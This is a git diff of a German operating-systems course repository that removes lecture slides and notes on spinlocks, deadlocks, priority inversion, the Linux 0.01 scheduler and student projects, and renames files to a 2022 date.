-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \pause
-  \bigskip
-
-  Beispiel: Philosophenproblem
-
-  \only<2-3>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \pause
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<4->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}\pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
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-      }{%
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-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
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-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
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-
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-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
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-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.5cm]{pathfinder.jpg}
-      \vspace*{-1.5cm}
-    \end{center}
-  }
-
-  \bigskip
-
-  \only<2>{%
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-    \end{itemize}
-
-    \bigskip
-
-    \begin{minipage}{7.0cm}
-      \begin{flushright}
-        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
-      \end{flushright}
-    \end{minipage}
-
-    \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm}
-  }
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
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-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
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-      \put(0,1){\line(1,0){10}}
-
-      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
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-
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-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2>{%
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-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
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-
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-%      \only<1>{%
-%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-%      }
-      \put(0,3){\line(1,0){10}}
-
-%      \only<2>{%
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-%      }
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-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \bigskip
-
-  Gegenmaßnahmen
-  \begin{itemize}
-    \item
-      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-      Der Besitzer des Mutex erbt die Priorität\\
-      des Prozesses, der auf den Mutex wartet.
-    \smallskip
-    \item
-      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-      Der Besitzer des Mutex bekommt sofort\\
-      die Priorität des höchstmöglichen Prozesses,\\
-      der evtl.\ den Mutex benötigen könnte.
-      \pause
-      \begin{picture}(0,0)
-        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-          \begin{minipage}{4cm}
-            nur möglich, wenn\\
-            Mutexe im Spiel sind
-          \end{minipage}}}
-      \end{picture}
-    \smallskip
-    \pause
-    \item
-      \newterm{Priority Aging}\\
-      Die Priorität wächst mit der Wartezeit.
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\end{document}
diff --git a/20210625/logo-hochschule-bochum-cvh-text.pdf b/20210625/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000
--- a/20210625/logo-hochschule-bochum-cvh-text.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20210625/logo-hochschule-bochum.pdf b/20210625/logo-hochschule-bochum.pdf
deleted file mode 120000
index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
--- a/20210625/logo-hochschule-bochum.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20210625/pathfinder.jpg b/20210625/pathfinder.jpg
deleted file mode 120000
index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000
--- a/20210625/pathfinder.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20210625/pgslides.sty b/20210625/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20210625/pgslides.sty
+++ /dev/null
@@ -1 +0,0 @@
-../common/pgslides.sty
\ No newline at end of file
diff --git a/20210625/philosophenproblem.jpg b/20210625/philosophenproblem.jpg
deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20210625/philosophenproblem.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20210625/rp6.jpg b/20210625/rp6.jpg
deleted file mode 100644
index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000
Binary files a/20210625/rp6.jpg and /dev/null differ
diff --git a/20210702/bs-20210702.txt b/20210702/bs-20210702.txt
deleted file mode 100644
index fd6949f826daba63232dc2decd38fb5f01b597ea..0000000000000000000000000000000000000000
--- a/20210702/bs-20210702.txt
+++ /dev/null
@@ -1,116 +0,0 @@
-Scheduler des Linux-0.01-Kernels, 02.07.2021, 11:39:30
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Aufgabe: Welcher Task kommt als nächster an die Reihe?
-
-Tabelle von Structs: task_struct
-Datenfelder:
- - state: Will dieser Task überhaupt Rechenzeit haben?
- - counter: aktuelle (dynamische) Priorität des Tasks
- - priority: Priorität des Tasks
-
-p ist ein Zeiger auf Zeiger von task_structs,
-  also ein Array von Zeigern auf task_structs.
-
-Task Nr. 0 ist der "idle task".
-
-p wird so initialisiert, daß er auf dem ersten Eintrag des
-  task-Arrays zeigt, der nicht mehr(!) zum Array gehört.
-In der Schleife wird dann als erstes --i und --p ausgeführt.
-
-Das innere "if" wird nur ausgeführt, wenn der Zeiger(!) "*p"
-kein NULL-Zeiger ist.
-
-  int counter[n] = { ... };
-  int c = -1;
-  for (int i = 0; i < n; i++)
-    if (counter[i] > c)
-      c = counter[i];
-
---> c hat den Wert des Maximums aller counter[i].
-
-Was bewirkt das Komma in der Zeile "c = (*p)->counter, next = i;"?
---> Komma-Operator: "a,b" bedeutet: "berechne a, vergiß es wieder,
-    und berechne stattdessen b."
-    Nur sinnvoll in Kombination mit Seiteneffekten!
-    "c = (*p)->counter" ist ein Ausdruck mit dem Wert "(*p)->counter"
-    und dem Seiteneffekt, daß dieser Wert der Variablen c zugewiesen wird.
-
-Andere Schreibweise für die innere Schleife:
-
-  while (i >= 1)
-    {
-      i--;
-      p--;
-      if (*p)
-        if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
-          {
-            c = (*p)->counter;
-            next = i;
-          }
-    }
-
-Nach der inneren while-Schleife enthält
-next die Nummer des Tasks mit der höchsten Priorität (counter)
-und c den counter dieses Tasks (also die höchste Priorität selbst)
-
-Sobald alle counter abgelaufen sind, bekommen sie
-in der for-Schleife neue Werte zugewiesen
-gemäß der jeweiligen Priorität der Tasks.
-Tasks, die nicht TASK_RUNNING sind, können noch counter > 0 haben
-und bekommen die Priorität zusätzlich darauf addiert.
---> Der Counter kann über alle Maßen wachsen. (Oder????;-)
-Nein, denn der "angesparte" Counter wird vorher halbiert (">> 1").
---> Der Counter kann bis zu einem gewissen Maximum wachsen
-    (dem Doppelten der Priorität des Tasks).
---> Durch Abwarten kann ein Task Rechenzeit ansparen.
-    Wenn er dann doch läuft, hat er direkt hohe Priorität.
---> Sinnvoll für interaktive Programme (z.B. Editor).
-
---> Dynamische Prioritätenvergabe (nicht echtzeitfähig)
-
-Signal, 02.07.2021, 13:35:22
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Messenger mit Ende-zu-Ende-Verschlüsselung
-
-Freie Software (Client und Server)
-zentrale Infrastruktur
-Signal Foundation betreibt zentrale Server
-
-Auch die Meta-Daten werden verschlüsselt.
-Der Empfänger einer Nachricht ist dem Server bekannt,
-aber der Absender nur dem Empfänger.
-
-Die Server werden in Clouds betrieben bei Amazon, Microsoft usw.
-
-Es gibt Vertraulichkeit, Integrität und plausible deniability
-
-Man kann über Signal auch "telefonieren".
-
-Wer teilnimmt, hat einen privaten Schlüssel.
-Um eine Nachricht zu versenden, benötigt man
-eine ID des Empfängers (Telefonnummer).
-Darüber holt man sich den Public Key.
-Schlüsselabgleich erfolgt über den Abgleich einer Sicherheitsnummer,
-die aus beiden Public Keys gemeinsam gebildet wird.
-
-Zur Registrierung benötigt man eine Telefonnummer,
-über die man SMS oder Sprachanrufe empfangen kann.
-Darüber erfährt man einen Verifizierungs-Code, den man
-währnd der Installation der Client-Software eingeben muß.
-Man kann seinen Signal-Account zusätzlich durch eine PIN schützen.
-
-Versenden einer verschlüsselten Nachricht:
- - Austausch eines Sitzungsschlüssels per Diffie-Hellman
- - Vermutung: Die asymmetrischen Schlüssel dienen dazu,
-   Man-in-the-Middle-Angriffe zu verhindern.
-
-Projekt: Signal-Bot
-Raspberry Pi mit Signal-CLI
-Dieser soll Nachrichten versenden, die von anderen Programmen stammen
-und empfangene Nachrichten an Programme weiterleiten.
-Wichtig: dedizierte Telefonnummer
-
-
-Verbesserungsmöglichkeiten für BBB, 02.07.2021, 14:07:31
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-In Kombination mit Mumble: anzeigen, wer gerade spricht
diff --git a/20210709/bs-20210709.txt b/20210709/bs-20210709.txt
deleted file mode 100644
index 85a6382c0df759984d80f337a82aae9c94728275..0000000000000000000000000000000000000000
--- a/20210709/bs-20210709.txt
+++ /dev/null
@@ -1,173 +0,0 @@
-Echtzeit-Erweiterungen für Linux, 09.07.2021, 11:42:17
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- - früher: RTAI (Real Time Application Interface)
-
-   Der RTAI-Kernel läuft als "Sub-Kernel" direkt auf der Hardware.
-   Der Linux-Kernel läuft als "Applikation" im RTAI-Kernel.
-   Kommunikation zwischen Echtzeit-Tasks und Linux-Prozessen
-   erfolgt mittels Semaphoeren.
-
- - früher: RT-Linux
-
- - aktuell: Xenomai
-
-do-while(0)-Schleife, 09.07.2021, 12:05:38
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Definition:
-
-  #define spin_lock_mutex(lock, flags) \
-    do \
-      { \
-        spin_lock (lock); \
-        (void) (flags); \
-      } \
-    while (0)
-
-Benutzung:
-
-  if (whatever)
-    spin_lock_mutex (lock, flags);    // Semikolon!
-  else
-    whatever ();
-
-Wird zu:
-
-  if (whatever)
-    do
-      {
-        spin_lock (lock);
-        (void) (flags);
-      }
-    while (0);    // Semikolon!
-  else
-    whatever ();
-
-Definition:
-
-  #define spin_lock_mutex(lock, flags) \
-    { \
-      spin_lock (lock); \
-      (void) (flags); \
-    }
-
-Benutzung:
-
-  if (whatever)
-    spin_lock_mutex (lock, flags);    // Semikolon!
-  else
-    whatever ();
-
-Wird zu:
-
-  if (whatever)
-    {
-      spin_lock (lock);
-      (void) (flags);
-    };    // Semikolon! --> Fehler
-  else
-    whatever ();
-
-Definition:
-
-  #define spin_lock_mutex(lock, flags) \
-    spin_lock (lock); \
-    (void) (flags)
-
-Benutzung:
-
-  if (whatever)
-    spin_lock_mutex (lock, flags);    // Semikolon!
-  else
-    whatever ();
-
-Wird zu:
-
-  if (whatever)
-    spin_lock (lock);
-    (void) (flags);    // Semikolon! --> Fehler
-  else
-    whatever ();
-
-Fazit: do ... while(0) ist ein Trick, um ein Präprozessor-Macro
-so definieren zu können, daß es in allen Situationen wie eine
-Funktion verwendet werden kann.
-
-F. Aust, P. Maas: Signal-Bot, 09.07.2021, 13:35:29
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-https://gitlab.cvh-server.de/faust/signalbot
-
-Der Bot protokolliert und interpretiert alle Nachrichten, die er bekommt.
-Nachrichten, die mit einem Punkt beginnen, sind Befehle.
-
-Beipiel:
-  .help
-  .foo --> bar
-  .ping --> pong
-
-Herausforderung: über die Kommandozeile laufen lassen
-python-Skript benutzt signal-CLI. Die benutzt Java. Langsam: 90s
-Jetzt: läuft per systemd im Hintergrund --> Java läuft durch. --> schnell
-
-Funktionen:
-
- - .yn --> zufällige GIF-Datei von yes-no-wtf
-
- - Zitate in Datenbank speichern
-
- - Der Bot informiert den Kanal automatisch aktuell kostenlose Computerspiele.
-
- - Projekt: .gn: Der Bot prüft den Chat auf Gender-Neutralität, weist auf
-   nicht-neutrale Wörter hin und schlägt gener-neutrale Synoyme vor - unter
-   Verwendung von geschicktgendern.de.
-
- - Projekt: Signal selbst unterstürzt bereits Polls, sog. Reactions.
-   zusätzlich: cvhbot-Polls durch den Bot
-
- - Projekt: MQTT-To-Signal-Adapter (separates Programm, sagt dem Bot bescheid)
-
-Es ist möglich, mehrere Bots auf demselben Server laufen zu lassen,
-sofern jeder Bot eine eigene Telefonnummer hat.
-Alternative: Die Reaktion des Bots hängt vom Ursprung
-des Befehls ab (Benutzer, Gruppe).
-
-Der Bot kommt bei den Benutzern gut an.
-
-Nachteile von Signal:
- - zentraler Server
- - App im Ruhemodus erfährt nicht von neuen Nachrichten
-   (Konfiguration der Stromsparmaßnahmen unter Android hilft nicht.)
-
-Projektideen:
- - Signal beibringen, auch im Hintergrund Nachrichten zu empfangen
- - Signal mit Mumble-Chat koppeln
- - Signal mit BBB-Chat koppeln
- - Matrix als "Sammelstelle"
-
-S. Simanek: Forums-Projekt, 09.07.2021, 14:25:09
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Forum für Studierende, aber auch Lehrende, für den Austausch über
-Studieninhalte, für Austausch mit der Fachschaftsvertretung, aber
-auch für Off-Topic-Gespräche (als Alternative to Discord usw.)
-
-Situation: Auf dem CVH-Server gibt es bereits eine
-Discourse-Installation. Die müßte man wieder in Betrieb nehmen.
-
-Abgrenzung zu Signal:
- - Signal ist ein Messenger-Dienst - Echtzeit-Kommunikation -
-   wie SMS mit Gruppen - nach Personen(gruppen) sortiert.
-   Signal ist nicht anonym.
- - Forum: offline-Kommunikation
-   Ein Forum ist nach Themen sortiert.
-   Ein Forum kann pseudonym sein.
-
-Vorschläge für die Struktur des Forums:
- - Start-Subforum mit FAQs und Übersicht
- - fachspezifische Subforen
- - organisatorische Subforen: Ankündigungen der Fachschaftsvertretung usw.
- - Off-Topic-Subforen
- 
-Sonstiges:
- - Fachschaftsvertretung mit einbinden!
- - Maßnahmen gegen Trolle und Spammer! --> Moderation erforderlich
- - Gelder für Moderatoren beantragen: diversitätssensible Studieneigangsphase
- - Wichtig für nachhatltige IT: Lizenzen, Datenschutz
diff --git a/20210409/Operating_system_placement-de.pdf b/20220314/Operating_system_placement-de.pdf
similarity index 100%
rename from 20210409/Operating_system_placement-de.pdf
rename to 20220314/Operating_system_placement-de.pdf
diff --git a/20210409/bs-20210409.pdf b/20220314/bs-20220314.pdf
similarity index 80%
rename from 20210409/bs-20210409.pdf
rename to 20220314/bs-20220314.pdf
index f1a3b188e2d9f110ededbdd531406973391a2b72..d133587d7a6962e4eb71d9a5beb2fb30415dd207 100644
Binary files a/20210409/bs-20210409.pdf and b/20220314/bs-20220314.pdf differ
diff --git a/20210409/bs-20210409.tex b/20220314/bs-20220314.tex
similarity index 98%
rename from 20210409/bs-20210409.tex
rename to 20220314/bs-20220314.tex
index 6631f38607d915dc319433f6db9e32f9fb6a5427..9a6c5337d74db090b47aa25f3bb1c728a3fa079b 100644
--- a/20210409/bs-20210409.tex
+++ b/20220314/bs-20220314.tex
@@ -1,5 +1,5 @@
-% bs-20110409.pdf - Lecture Slides on Operating Systems
-% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021  Peter Gerwinski
+% bs-20220314.pdf - Lecture Slides on Operating Systems
+% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022  Peter Gerwinski
 %
 % This document is free software: you can redistribute it and/or
 % modify it either under the terms of the Creative Commons
@@ -41,7 +41,7 @@
 
 \title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
 \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{9.\ April 2021}
+\date{14.\ März 2022}
 
 \begin{document}
 
@@ -52,10 +52,10 @@
 
 \date{\begin{picture}(0,0)
         \color{red}
-        \put(0.265,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{%
+        \put(0.4,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{%
           \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}}
       \end{picture}%
-        9.\ April 2021}
+        14.\ März 2022\kern0.5pt}
 
 \maketitleframe
 
@@ -225,9 +225,17 @@
       \begin{onlyenv}<3->
         \begin{picture}(0,0)
           \color{red}
-          \put(0.3,0.25){\makebox(0,0)[tl]{\begin{minipage}{6cm}
-              speziell: Echtzeitkommunikation\\
-              für Home-Office und Online-Lehre
+          \put(0.3,0.25){\makebox(0,0)[tl]{\begin{minipage}{6.2cm}
+              speziell:
+              \begin{itemize}
+                \color{red}
+                \item[\color{red}--]
+                  Echtzeitkommunikation\\
+                  für Home-Office und Online-Lehre
+                \item[\color{red}--]
+                  Treiber und Echtzeitkommunikation\\
+                  für freies Smartphone
+              \end{itemize}
             \end{minipage}}}
         \end{picture}%
       \end{onlyenv}%
diff --git a/20210409/logo-hochschule-bochum-cvh-text.pdf b/20220314/logo-hochschule-bochum-cvh-text.pdf
similarity index 100%
rename from 20210409/logo-hochschule-bochum-cvh-text.pdf
rename to 20220314/logo-hochschule-bochum-cvh-text.pdf
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similarity index 100%
rename from 20210409/logo-hochschule-bochum.pdf
rename to 20220314/logo-hochschule-bochum.pdf
diff --git a/20210409/pgslides.sty b/20220314/pgslides.sty
similarity index 100%
rename from 20210409/pgslides.sty
rename to 20220314/pgslides.sty
diff --git a/20210409/unix-20210409.pdf b/20220314/unix-20220314.pdf
similarity index 88%
rename from 20210409/unix-20210409.pdf
rename to 20220314/unix-20220314.pdf
index 8d636f941c718b6fb62d7dd359c769c769c9dcb9..c5caf21dc8030b0b73938e5718665d54b83b380f 100644
Binary files a/20210409/unix-20210409.pdf and b/20220314/unix-20220314.pdf differ
diff --git a/20210409/unix-20210409.tex b/20220314/unix-20220314.tex
similarity index 99%
rename from 20210409/unix-20210409.tex
rename to 20220314/unix-20220314.tex
index f466cba3fe1bfde8417ad862b2eb210a0ec1d298..6ecd4899bb2b544640c5f54596754dc14e890fd4 100644
--- a/20210409/unix-20210409.tex
+++ b/20220314/unix-20220314.tex
@@ -1,5 +1,5 @@
-% unix-20210409.pdf - Lecture Slides on Unix Fundamentals
-% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021  Peter Gerwinski
+% unix-20220314.pdf - Lecture Slides on Unix Fundamentals
+% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021, 2022  Peter Gerwinski
 %
 % This document is free software: you can redistribute it and/or
 % modify it either under the terms of the Creative Commons
@@ -30,7 +30,7 @@
 
 \title{Einführung in Unix}
 \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{9.\ April 2021}
+\date{14.\ März 2022}
 
 \begin{document}
 
diff --git a/projekte.txt b/projekte.txt
deleted file mode 100644
index bc8aeccc7f90e84f4184103024654373fede944b..0000000000000000000000000000000000000000
--- a/projekte.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-;) GitLab: Datum und Uhrzeit anzeigen
